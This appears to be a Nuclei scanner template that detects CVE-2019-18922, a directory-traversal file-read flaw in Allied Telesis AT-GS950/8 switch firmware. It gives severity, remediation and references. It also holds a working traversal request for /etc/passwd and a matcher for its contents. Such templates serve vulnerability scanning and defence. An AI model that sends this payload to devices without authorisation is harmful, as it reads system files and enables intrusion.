id: CVE-2019-18922

info:
  name: Allied Telesis AT-GS950/8 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Allied Telesis AT-GS950/8 until Firmware AT-S107 V.1.1.3 is susceptible to local file inclusion via its web interface.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the affected device, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest firmware update provided by Allied Telesis to fix the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/155504/Allied-Telesis-AT-GS950-8-Directory-Traversal.html
    - https://pastebin.com/dpEGKUGz
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18922
    - http://packetstormsecurity.com/files/155504/Allied-Telesis-AT-GS950-8-Directory-Traversal.html
    - http://seclists.org/fulldisclosure/2019/Nov/31
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-18922
    cwe-id: CWE-22
    epss-score: 0.24742
    epss-percentile: 0.97617
    cpe: cpe:2.3:o:alliedtelesis:at-gs950\/8_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: alliedtelesis
    product: at-gs950\/8_firmware
  tags: cve,cve2019,packetstorm,seclists,allied,lfi,alliedtelesis,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402202f811550ac85818fe842154ddb219e5613e40431c24fb9a76ae8c42e48e858e102204bb4ed1976060cb41316e3e9ded8822e6432f9ae1d6578365c373d4328a025d6:922c64590222798bb761d5b6d8e72950